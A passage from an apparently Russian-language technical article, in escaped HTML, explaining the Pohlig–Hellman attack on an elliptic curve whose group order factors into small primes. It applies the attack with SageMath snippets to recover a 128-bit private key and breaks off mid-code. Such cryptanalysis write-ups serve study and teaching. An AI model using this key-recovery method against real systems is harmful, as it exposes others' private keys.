\u0431\u0438\u0442\u0430:<\/p>\n<pre><code>\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430: \u043c\u043e\u0434\u0443\u043b\u044c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044f q \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u044b\u043c? True \u041f\u043e\u0440\u044f\u0434\u043e\u043a \u0433\u0440\u0443\u043f\u043f\u044b \u0442\u043e\u0447\u0435\u043a \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439: 30937339651019945892244794266256713890440922455872051984762505561763526780311616863989511376879697740787911484829297 \u0414\u043b\u0438\u043d\u0430 \u043f\u043e\u0440\u044f\u0434\u043a\u0430 \u043a\u0440\u0438\u0432\u043e\u0439 \u0432 \u0431\u0438\u0442\u0430\u0445: 384 \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430: \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u043a\u0440\u0438\u0432\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u044b\u043c? False \u041f\u043e\u0440\u044f\u0434\u043e\u043a \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430: 30937339651019945892244794266256713890440922455872051984762505561763526780311616863989511376879697740787911484829297 \u0414\u043b\u0438\u043d\u0430 \u043f\u043e\u0440\u044f\u0434\u043a\u0430 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u0432 \u0431\u0438\u0442\u0430\u0445: 384 \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430: \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u044b\u043c? False <\/code><\/pre>\n<p>\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u0441\u0442\u0430\u0432\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u043e\u043c, \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u0442\u044c \u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u043c\u043d\u043e\u0436\u0438\u0442\u0435\u043b\u0438. \u0415\u0441\u043b\u0438 \u0441\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u0447\u0438\u0441\u043b\u0430, \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u041f\u043e\u043b\u0438\u0433\u0430\u2013\u0425\u0435\u043b\u043b\u043c\u0430\u043d\u0430.<\/p>\n<h4>\u0422\u0435\u043e\u0440\u0438\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u0440\u0438\u0432\u044b\u0435 \u0441 \u043c\u0430\u043b\u044b\u043c\u0438 \u043f\u043e\u0440\u044f\u0434\u043a\u0430\u043c\u0438<\/h4>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u043c \u043a\u0430\u043a \u0441\u043e\u0437\u0434\u0430\u0435\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043b\u044e\u0447 (<img decoding=\"async\" class=\"formula inline\" source=\"Q\" alt=\"Q\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f0\/f09\/f09564c9ca56850d4cd6b3319e541aee.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f0\/f09\/f09564c9ca56850d4cd6b3319e541aee.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f0\/f09\/f09564c9ca56850d4cd6b3319e541aee.svg 781w\" loading=\"lazy\" decode=\"async\"\/>):<\/p>\n<p><img decoding=\"async\" class=\"formula\" source=\"Q = d \\cdot G\" alt=\"Q = d \\cdot G\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f2\/f2f\/f2f021f9ea497242c8a340cb6446151f.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f2\/f2f\/f2f021f9ea497242c8a340cb6446151f.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/f2\/f2f\/f2f021f9ea497242c8a340cb6446151f.svg 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<p>\u0413\u0434\u0435 <img decoding=\"async\" class=\"formula inline\" source=\"d\" alt=\"d\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u2013 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447, <img decoding=\"async\" class=\"formula inline\" source=\"G\" alt=\"G\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/df\/dfc\/dfcf28d0734569a6a693bc8194de62bf.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/df\/dfc\/dfcf28d0734569a6a693bc8194de62bf.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/df\/dfc\/dfcf28d0734569a6a693bc8194de62bf.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u2013 \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0442\u043e\u0447\u043a\u0430 \u043d\u0430 \u043a\u0440\u0438\u0432\u043e\u0439.<\/p>\n<p>\u041c\u0435\u0442\u043e\u0434 \u041f\u043e\u043b\u0438\u0433\u0430\u2013\u0425\u0435\u043b\u043b\u043c\u0430\u043d\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0433\u0440\u0443\u043f\u043f\u044b <img decoding=\"async\" class=\"formula inline\" source=\"n\" alt=\"n\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/7b\/7b8\/7b8b965ad4bca0e41ab51de7b31363a1.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/7b\/7b8\/7b8b965ad4bca0e41ab51de7b31363a1.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/7b\/7b8\/7b8b965ad4bca0e41ab51de7b31363a1.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0440\u0430\u0437\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0442\u0435\u043f\u0435\u043d\u0435\u0439 \u043f\u0440\u043e\u0441\u0442\u044b\u0445 \u0447\u0438\u0441\u0435\u043b <img decoding=\"async\" class=\"formula inline\" source=\"p_i\" alt=\"p_i\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/e\/ec\/eca\/eca91c83a74a2373ca5f796700e99fd3.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/e\/ec\/eca\/eca91c83a74a2373ca5f796700e99fd3.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/e\/ec\/eca\/eca91c83a74a2373ca5f796700e99fd3.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0441\u043e \u0441\u0442\u0435\u043f\u0435\u043d\u044f\u043c\u0438 <img decoding=\"async\" class=\"formula inline\" source=\"e_i\" alt=\"e_i\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8d\/8de\/8dec559e201a7b6a0f99baeaa1731051.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8d\/8de\/8dec559e201a7b6a0f99baeaa1731051.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8d\/8de\/8dec559e201a7b6a0f99baeaa1731051.svg 781w\" loading=\"lazy\" decode=\"async\"\/>, \u0442\u043e \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435 \u0434\u0438\u0441\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043b\u043e\u0433\u0430\u0440\u0438\u0444\u043c\u0430 \u043c\u043e\u0436\u043d\u043e \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u0442\u044c, \u0440\u0435\u0448\u0430\u044f \u0435\u0433\u043e \u0432 \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0430\u0445 \u043c\u0435\u043d\u044c\u0448\u0438\u0445 \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u0432. \u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043c \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043f\u043e\u0440\u044f\u0434\u043a\u0430 \u0433\u0440\u0443\u043f\u043f\u044b \u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u043c\u043d\u043e\u0436\u0438\u0442\u0435\u043b\u0438:<\/p>\n<p><img decoding=\"async\" class=\"formula\" source=\"n = \\prod_{i=1}^k p_i^{e_i}\" alt=\"n = \\prod_{i=1}^k p_i^{e_i}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/266\/266ae8cd8c2dbac0aee6ed7d0380e0be.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/266\/266ae8cd8c2dbac0aee6ed7d0380e0be.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/266\/266ae8cd8c2dbac0aee6ed7d0380e0be.svg 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<p>\u0422\u043e\u0433\u0434\u0430 \u0437\u0430\u0434\u0430\u0447\u0430 \u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u044e \u0434\u0438\u0441\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043b\u043e\u0433\u0430\u0440\u0438\u0444\u043c\u0430 \u0432 \u043a\u0430\u0436\u0434\u043e\u0439 \u0438\u0437 \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f \u043f\u043e\u0440\u044f\u0434\u043a\u0430 <img decoding=\"async\" class=\"formula inline\" source=\"p_i^{e_i}\" alt=\"p_i^{e_i}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/7b\/7b4\/7b41bf4d1d30e86de4899113cd690d8f.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/7b\/7b4\/7b41bf4d1d30e86de4899113cd690d8f.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/7b\/7b4\/7b41bf4d1d30e86de4899113cd690d8f.svg 781w\" loading=\"lazy\" decode=\"async\"\/>. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0442\u043e\u0447\u043a\u0438 <img decoding=\"async\" class=\"formula inline\" source=\"G_i\" alt=\"G_i\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/e\/e8\/e81\/e8153e65e22df0b3d23d1614471fd606.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/e\/e8\/e81\/e8153e65e22df0b3d23d1614471fd606.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/e\/e8\/e81\/e8153e65e22df0b3d23d1614471fd606.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 <img decoding=\"async\" class=\"formula inline\" source=\"Q_i\" alt=\"Q_i\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/52\/52d\/52dbc3fd7d34cbe6ae695944dca0004d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/52\/52d\/52dbc3fd7d34cbe6ae695944dca0004d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/5\/52\/52d\/52dbc3fd7d34cbe6ae695944dca0004d.svg 781w\" loading=\"lazy\" decode=\"async\"\/>:<\/p>\n<p><img decoding=\"async\" class=\"formula\" source=\"G_i = (n \/ p_i^{e_i}) \\cdot G, \\quad Q_i = (n \/ p_i^{e_i}) \\cdot Q\" alt=\"G_i = (n \/ p_i^{e_i}) \\cdot G, \\quad Q_i = (n \/ p_i^{e_i}) \\cdot Q\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/da\/da0\/da0f386732a6fa27f39ced152388edea.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/da\/da0\/da0f386732a6fa27f39ced152388edea.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/da\/da0\/da0f386732a6fa27f39ced152388edea.svg 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<p>\u0412 \u044d\u0442\u0438\u0445 \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u0430\u0445 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u044b\u0439 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 <img decoding=\"async\" class=\"formula inline\" source=\"d_i\" alt=\"d_i\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/d2\/d24\/d247f594c78d0d2be10fc6d82512cc4e.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/d2\/d24\/d247f594c78d0d2be10fc6d82512cc4e.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/d2\/d24\/d247f594c78d0d2be10fc6d82512cc4e.svg 781w\" loading=\"lazy\" decode=\"async\"\/>:<\/p>\n<p><img decoding=\"async\" class=\"formula\" source=\"d_i = \\log_{G_i} Q_i\" alt=\"d_i = \\log_{G_i} Q_i\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/90\/907\/907e114d28ac7e27d689cc311fb0e568.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/90\/907\/907e114d28ac7e27d689cc311fb0e568.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/9\/90\/907\/907e114d28ac7e27d689cc311fb0e568.svg 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<p>\u0422\u0430\u043a \u043a\u0430\u043a \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0444\u0430\u043a\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043b\u044e\u0447 <img decoding=\"async\" class=\"formula inline\" source=\"d\" alt=\"d\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0439:<\/p>\n<p><img decoding=\"async\" class=\"formula\" source=\"\\begin{array}{l}d \\equiv d_1 \\ (\\text{mod } p_1^{e_1}) \\\\d \\equiv d_2 \\ (\\text{mod } p_2^{e_2}) \\\\\\vdots \\\\d \\equiv d_k \\ (\\text{mod } p_k^{e_k}) \\\\\\end{array}\" alt=\"\\begin{array}{l}d \\equiv d_1 \\ (\\text{mod } p_1^{e_1}) \\\\d \\equiv d_2 \\ (\\text{mod } p_2^{e_2}) \\\\\\vdots \\\\d \\equiv d_k \\ (\\text{mod } p_k^{e_k}) \\\\\\end{array}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/40\/406\/406490fecf87d11b311401f169c4f265.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/40\/406\/406490fecf87d11b311401f169c4f265.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/4\/40\/406\/406490fecf87d11b311401f169c4f265.svg 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<p>\u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u0442\u0435\u043e\u0440\u0435\u043c\u044b \u043e\u0431 \u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445 \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c <img decoding=\"async\" class=\"formula inline\" source=\"d\" alt=\"d\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/82\/827\/8277e0910d750195b448797616e091ad.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u043f\u043e \u043c\u043e\u0434\u0443\u043b\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0432\u0441\u0435\u0445 <img decoding=\"async\" class=\"formula inline\" source=\"p_i^{e_i}\" alt=\"p_i^{e_i}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/7b\/7b4\/7b41bf4d1d30e86de4899113cd690d8f.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/7b\/7b4\/7b41bf4d1d30e86de4899113cd690d8f.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/7b\/7b4\/7b41bf4d1d30e86de4899113cd690d8f.svg 781w\" loading=\"lazy\" decode=\"async\"\/>.<\/p>\n<h4>\u041f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043a \u043d\u0430\u0448\u0435\u0439 \u043a\u0440\u0438\u0432\u043e\u0439<\/h4>\n<p>\u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c\u0443\u044e \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043a\u0440\u0438\u0432\u0443\u044e \u0438 \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 \u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u043c\u043d\u043e\u0436\u0438\u0442\u0435\u043b\u0438. \u041a\u043e\u0434 \u0432 <strong>SageMath<\/strong>:<\/p>\n<pre><code class=\"python\">factors = base_point_order.factor()  factor_str = \"n = \" + \" * \".join([f\"{p}^{e}\" for p, e in factors]) print(factor_str) <\/code><\/pre>\n<p>\u0411\u0443\u0434\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u0444\u0430\u043a\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f:<\/p>\n<p><img decoding=\"async\" class=\"formula\" source=\"\\begin{array}{rl}n =\\,&amp; 35809^1 \\cdot 46027^1 \\cdot 56369^1 \\cdot 57301^1 \\cdot 65063^1 \\cdot 111659^1 \\cdot 113111^1 \\cdot \\\\&amp; 7072010737074051173701300310820071551428959987622994965153676442076542799542912293^1\\end{array}\" alt=\"\\begin{array}{rl}n =\\,&amp; 35809^1 \\cdot 46027^1 \\cdot 56369^1 \\cdot 57301^1 \\cdot 65063^1 \\cdot 111659^1 \\cdot 113111^1 \\cdot \\\\&amp; 7072010737074051173701300310820071551428959987622994965153676442076542799542912293^1\\end{array}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/89\/897\/897986708868a73ee0db8925227aebb9.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/89\/897\/897986708868a73ee0db8925227aebb9.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/89\/897\/897986708868a73ee0db8925227aebb9.svg 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<p>\u0418\u0442\u0430\u043a, \u043c\u044b \u0438\u043c\u0435\u0435\u043c \u0441\u0435\u043c\u044c \u043c\u0430\u043b\u044b\u0445 \u0434\u0435\u043b\u0438\u0442\u0435\u043b\u0435\u0439 \u0438 \u043e\u0434\u0438\u043d \u0431\u043e\u043b\u044c\u0448\u043e\u0439. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0438\u0437 \u043d\u0438\u0445 \u2013 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0439, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043f\u0440\u044f\u043c\u0443\u044e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0430\u0442\u0430\u043a\u0438 \u041f\u043e\u043b\u0438\u0433\u0430\u2013\u0425\u0435\u043b\u043b\u043c\u0430\u043d\u0430 \u0432\u043e \u0432\u0441\u0451\u043c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435. \u041d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0441\u0442\u044b\u0445 \u043c\u043d\u043e\u0436\u0438\u0442\u0435\u043b\u0435\u0439 \u0434\u0435\u043b\u0430\u0435\u0442 \u0430\u0442\u0430\u043a\u0443 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0439. \u041e\u0434\u043d\u0430\u043a\u043e \u0441\u0442\u043e\u0438\u0442 \u043e\u0446\u0435\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043c\u0430\u043b\u044b\u0445 \u043f\u0440\u043e\u0441\u0442\u044b\u0445 \u043c\u043d\u043e\u0436\u0438\u0442\u0435\u043b\u0435\u0439 \u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u0442\u044c \u0435\u0433\u043e \u0441 \u0434\u043b\u0438\u043d\u043e\u0439 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430. \u0418\u0437 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0444\u0430\u0439\u043b\u0430 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0447\u0442\u043e \u0434\u043b\u0438\u043d\u0430 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 128 \u0431\u0438\u0442. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043c\u0430\u043b\u044b\u0445 \u043c\u043d\u043e\u0436\u0438\u0442\u0435\u043b\u0435\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043a\u0440\u044b\u0442\u044c \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u043a\u043b\u044e\u0447\u0430 \u0438 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0432 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e\u043c \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u043a\u043b\u044e\u0447\u0430 \u0441 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u043e\u043c (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0447\u0435\u0440\u0435\u0437 \u043c\u0435\u0442\u043e\u0434 \u043f\u043e\u0433\u043b\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u043e \u043c\u043e\u0434\u0443\u043b\u044e \u043c\u0430\u043b\u043e\u0433\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u0430).<\/p>\n<pre><code class=\"python\">mul_small_prime = 1 for p, e in factors[:-1]:     mul_small_prime *= p^e  print(f\"\u0414\u043b\u0438\u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043c\u0430\u043b\u044b\u0445 \u0434\u0435\u043b\u0438\u0442\u0435\u043b\u0435\u0439 \u0432 \u0431\u0438\u0442\u0430\u0445: 